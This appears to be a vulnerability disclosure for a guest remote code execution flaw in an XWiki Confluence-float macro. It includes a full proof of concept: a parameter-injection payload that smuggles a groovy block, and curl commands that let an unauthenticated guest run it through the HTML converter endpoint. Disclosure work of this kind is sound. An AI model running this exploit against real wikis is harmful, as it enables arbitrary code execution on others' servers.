Guest RCE via ConfluenceFloat macro
Description
Requirements
- none
Details
The macro id confluence_float interpolates $wikimacro.parameters.width directly into the width parameter of a nested {{box}} macro call:
{{velocity}}
#set ($discard = $xwiki.ssx.use('Confluence.Macros.ConfluenceFloat'))
#macro(executeMacro)
#if ("$!wikimacro.parameters.side" == '' || "$!wikimacro.parameters.side" == 'RIGHT')
#set ($cssClass = 'confluence-float-inline-end')
#else
#set ($cssClass = 'confluence-float-inline-start')
#end
{{box cssClass="$cssClass" width="$wikimacro.parameters.width"}}
{{wikimacrocontent/}}
{{/box}}
#end
#if ($services.promacrolicensing.hasLicensureForEntity($xcontext.macro.doc.documentReference))
#executeMacro
#else
{{missingLicenseMessage extensionName="proMacros.extension.name"/}}
#end
{{/velocity}}Attacker-controlled width containing
X"/}}{{async ...}}{{groovy}}...{{/groovy}}{{/async}}{{box width="}}closes the parameter quote, terminates the {{box}} macro head.
PoC
As a standard user, use the macro like this:
{{confluence_float width="X~"/}}{{async async=~"false~" cached=~"false~"}}{{groovy}}println(~"CFLT_~" + (101*103)){{/groovy}}{{/async}}{{box width=~""}}body{{/confluence_float}}<img width="1774" height="1196" alt="Capture d’écran 2026-06-05 à 14 26 26" src="github.com/
This can also be done as pure guest:
B=http://target/xwiki
TOK=$(curl -s -c cj.txt "$B/bin/view/Main/" | grep -oE 'data-xwiki-form-token="[^"]*"' | head -1 | sed -E 's/.*"([^"]+)"/\1/')
printf 'a\n\n{{confluence_float width="X~"/}}{{async async=~"false~" cached=~"false~"}}{{groovy}}println(~"CFLT_~" + (107*109)){{/groovy}}{{/async}}{{box width=~""}}body{{/confluence_float}}\n\nb' > text.txt
curl -s -b cj.txt -X POST "$B/bin/get/Main/WebHome?sheet=CKEditor.HTMLConverter&toHTML=true&formToken=$TOK" --data-urlencode "text@text.txt" | grep -oE 'CFLT_[0-9]+'Impact
Anyone get arbitrary code execution against the server.